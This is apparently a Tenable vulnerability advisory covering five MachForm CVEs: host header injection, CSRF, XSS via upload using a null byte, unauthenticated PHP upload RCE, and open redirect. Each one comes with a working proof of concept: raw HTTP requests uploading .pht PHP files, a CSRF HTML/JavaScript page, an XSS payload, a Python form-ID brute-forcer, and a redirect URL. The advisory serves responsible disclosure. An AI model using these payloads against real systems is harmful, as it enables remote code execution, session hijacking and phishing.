Machform Multiple Vulnerabilities
HighSynopsis
(1) HTTP Host Header Injection - CVE-2021-20101
CVSSv3 Base Score: 4.3
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CWE: 20
MachForm is vulnerable to HTTP host header injection which is caused by improper validation of the host header.
This vulnerability could be exploited via web cache poisoning. This would involve an attacker poisoning the cache of a caching proxy run by the application, such as a CDN for example. This would result in the victim being forced to receive malicious content - including crafted host headers.
The request/response shown below is an example of what the victim would be served. We can see that the user is directed away from their intended site to a potentially malicious one ‘https://evil.site/’.
This vulnerability is found in many locations within this application where users are redirected to a location based on the user’s host header.
===========================
Proof of concept
To reproduce this issue, send the below request to the target.
GET /machform/export_entries.php HTTP/1.1 Host: tenable.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 |
You will then see that you are redirected to the tenable.com domain
=================================================
(2) Cross-Site Request Forgery (CSRF) - CVE-2021-20102
CVSSv3 Base Score: 6.3
CVSSv3 Vector: (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
CWE: 352
There is no CSRF protection for MachForms. We can see in the POST request below that there is no CSRF token being used. By crafting malicious links or pages and tricking a victim user into visiting these links/pages, the attacker could force the victim user into performing sensitive application actions.
POST /machform/upload.php HTTP/1.1 Host: <target address> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3605352724035825752253110767 Content-Length: 622 Connection: close -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="Filedata"; filename="test.pht" Content-Type: image/jpeg <?php phpinfo(); ?> -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="form_id" 11791 -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="element_id" 39 -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="file_token" c7274582933239cb9789c0bf1615cf8e -----------------------------3605352724035825752253110767-- |
An attacker could exploit this issue by creating a dummy page that would execute javascript in an authenticated user's session if they were tricked into using the malicious dummy page.
==========================
Proof of concept
The below HTML and javascript can be used to stage a dummy example site. If a user browses to the dummy site and submits the form, a malicious request will be sent on behalf of the user that will upload a .pht file.
Below is an example dummy site for demonstration purposes. Note that to test this you will need to change the IP address in the HTML page to that of a server running MachForms.
<html> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/<target address>\/machform\/upload.php", true); xhr.setRequestHeader("Accept", "*\/*"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------3605352724035825752253110767"); xhr.withCredentials = true; var body = "-----------------------------3605352724035825752253110767\r\n" + "Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.pht\"\r\n" + "\r\n" + "Content-Type: image/jpeg\r\n" + "\r\n" + "\x3c?php\r\n" + "phpinfo();\r\n" + "?\x3e\n" + "\r\n" + "-----------------------------3605352724035825752253110767\r\n" + "Content-Disposition: form-data; name=\"form_id\"\r\n" + "\r\n" + "11791\r\n" + "-----------------------------3605352724035825752253110767\r\n" + "Content-Disposition: form-data; name=\"element_id\"\r\n" + "\r\n" + "39\r\n" + "-----------------------------3605352724035825752253110767\r\n" + "Content-Disposition: form-data; name=\"file_token\"\r\n" + "\r\n" + "c7274582933239cb9789c0bf1615cf8e\r\n" + "-----------------------------3605352724035825752253110767--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> |
=================================================
(3) Unauthenticated File Upload / Extension filter bypass - CVE-2021-20103
CVSSv3 Base Score: 7.1
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
CWE: 434
It was noted during testing that the target is vulnerable to stored cross site scripting due to insufficient sanitisation of file attachments uploaded with forms through upload.php. To exploit this the attacker would need to append a null byte to the uploaded file name to bypass the extension validation.
An unauthenticated attacker could exploit this issue by injecting malicious javascript into an attachment that would be executed when browsed to. This could be used to steal other user cookies and force users to make actions without their knowledge.
==========================
Proof of concept
To reproduce this issue, send the below request to the MachForm target. Note: You will need to change the target IP address in the host header to that of your own target.
POST /machform/upload.php HTTP/1.1 Host: <your target address> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3605352724035825752253110767 Content-Length: 597 Connection: close -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="Filedata"; filename="test.html%00" <script>alert('File upload to XSS')</script> -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="form_id" 123 -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="element_id" 39 -----------------------------3605352724035825752253110767 Content-Disposition: form-data; name="file_token" faketoken -----------------------------3605352724035825752253110767-- |
You can see that when browsed to, the browser renders our uploaded HTML and JavaScript.
=================================================
(4) Unauthenticated File Upload RCE - CVE-2021-20104
CVSSv3 Base Score: 8.1
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: 434
MachForm is vulnerable to unauthenticated remote code execution due to not checking for certain file extensions of file attachments uploaded through upload.php.
The system we are testing this on uses PHP 7.0 and Apache2 version 2.4.25 and supports the following file extensions by default in Apache2: .php, .php3, .php4, .php5, .php7, .pht, .phtml and .phps. In the below code snippet we can see that the pht, php7, and phps file extensions are missing from the extension blacklist.
This means that we are able to upload arbitrary PHP code with the pht or php7 extensions and have the remote server execute that code. In the cases below, the phpinfo() function has been called in the uploaded file.
.pht upload example
.php7 upload example
Note that different PHP versions support different extensions. For example, PHP 7.4 supports .phar, .php, .phps and .phtml. In that case MachForm would still be vulnerable as it does not check for the .phar or .phps file extensions.
An unauthenticated attacker could exploit this issue by injecting malicious PHP code into a form attachment with the pht or php7 extensions and then have the remote server execute that code as whatever user owns the MachForm process.
Note: In order for an attacker to exploit this vulnerability, an active form must already exist on the MachForm instance, and the attacker would have to discover the form ID by brute forcing. An example Python script they could use to achieve this could be similar to the below:
import requests Target_address = ‘x.x.x.x’ for i in range(1,20000): print('Testing ID: {}'.format(i)) id_probe = requests.get('https://’ + target_address + ’/machform/embed.php?id={}'.format(i)) if id_probe.text != 'This is not valid form URL.': id = i break print('ID: {}'.format(id)) |
The attacker would also need to discover the filename of the uploaded file which further increases the complexity to exploit this vulnerability.
=========================
Proof of concept
An example of how to upload a pht file and remove the .tmp can be seen in the below sequence of requests.
Initial file upload:
POST /machform/upload.php HTTP/1.1 Host: <your host> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------21333666862359421718924202306 Content-Length: 637 Connection: close Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1 -----------------------------21333666862359421718924202306 Content-Disposition: form-data; name="Filedata"; filename="test.pht" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------21333666862359421718924202306 Content-Disposition: form-data; name="form_id" 11791 -----------------------------21333666862359421718924202306 Content-Disposition: form-data; name="element_id" 39 -----------------------------21333666862359421718924202306 Content-Disposition: form-data; name="file_token" f9bf32a6f41cac20da8596a42ef51e59 -----------------------------21333666862359421718924202306-- |
Embed file 1 (gets cookie):
POST /machform/embed.php HTTP/1.1 Host: <your host> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------22398072442924133683001116694 Content-Length: 5568 Connection: close Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1 Upgrade-Insecure-Requests: 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_1_1" 7 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_1_2" 5 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_1_3" 2021 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_1_datepick" 05/07/2021 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_31_1" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_31_2" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_33" 123456789 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_32_1" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_32_2" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_15" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_16" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_17" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_18" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_19" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_20" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_21" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_22" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_40" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_3_1" 5 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_3_2" 5 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_3_3" 2021 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_3_datepick" 05/05/2021 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_35" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_5" 111 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_34" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_26" test -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_12" None -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_7_3" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_7_other" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_6_6" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_8" 0 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_24" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_25" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_36" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_37" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_9" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_10" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_11" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_13" 2 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_38" -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_23" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_39"; filename="" Content-Type: application/octet-stream -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="element_39_token" f9bf32a6f41cac20da8596a42ef51e59 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="form_id" 11791 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="submit_form" 1 -----------------------------22398072442924133683001116694 Content-Disposition: form-data; name="page_number" 1 -----------------------------22398072442924133683001116694-- |
Embed file 2:
POST /machform/embed.php HTTP/1.1 Host: <your host> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------99045264520754095121259953242 Content-Length: 5562 Connection: close Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1 Upgrade-Insecure-Requests: 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_1_1" 7 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_1_2" 5 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_1_3" 2021 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_1_datepick" 05/07/2021 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_31_1" test -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_31_2" test -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_33" 123456789 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_32_1" test -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_32_2" test -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_15" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_16" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_17" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_18" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_19" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_20" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_21" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_22" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_40" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_3_1" 5 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_3_2" 5 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_3_3" 2021 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_3_datepick" 05/05/2021 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_35" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_5" 111 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_34" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_26" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_12" None -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_7_3" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_7_other" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_6_6" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_8" 0 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_24" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_25" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_36" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_37" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_9" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_10" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_11" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_13" 2 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_38" -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_23" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_39"; filename="" Content-Type: application/octet-stream -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="element_39_token" f9bf32a6f41cac20da8596a42ef51e59 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="form_id" 11791 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="submit_form" 1 -----------------------------99045264520754095121259953242 Content-Disposition: form-data; name="page_number" 1 -----------------------------99045264520754095121259953242-- |
Confirm 1:
GET /machform/confirm_embed.php?mfsid=&id=11791 HTTP/1.1 Host: <your host> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1 Upgrade-Insecure-Requests: 1 |
Confirm 2:
POST /machform/confirm_embed.php HTTP/1.1 Host: <your host> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 39 Connection: close Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1 Upgrade-Insecure-Requests: 1 id=11791&mf_page_from=0&review_submit=1 |
Note: You will need to change the target IP address in the host header to that of your own target.
=================================================
(5) Open Redirect - CVE-2021-20105
CVSSv3 Base Score: 4.7
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
CWE: 601
Safari_init.php is susceptible to an open redirect vulnerability. An attacker can craft the value of the $_GET[‘ref’] parameter in a URL to subsequently control the value of the ‘Location’ HTTP response header. This can be abused in phishing attacks to redirect the browser/user to a malicious web page of the attacker’s choosing.
$referrer = trim($_GET['ref']);
$referrer = htmlspecialchars(base64_decode($referrer),ENT_QUOTES);
setcookie("mf_safari_cookie_fix", "1", 0); //cookie expire at the end of session (browser being closed)
header("Location: {$referrer}");
========================
Proof of Concept
For example, the following URL will redirect the user to http://google.com. The value of ‘ref’ is Base64-encoded here.
/machform/safari_init.php?ref=aHR0cDovL2dvb2dsZS5jb20=
And the response:
HTTP/2 302 Found
Date: Mon, 10 May 2021 18:33:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: mf_safari_cookie_fix=1
Location: http://google.com
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Solution
Additional References
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]
Risk Information
Derrie Sutton
8.1 / 7.3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Machform prior to v16
High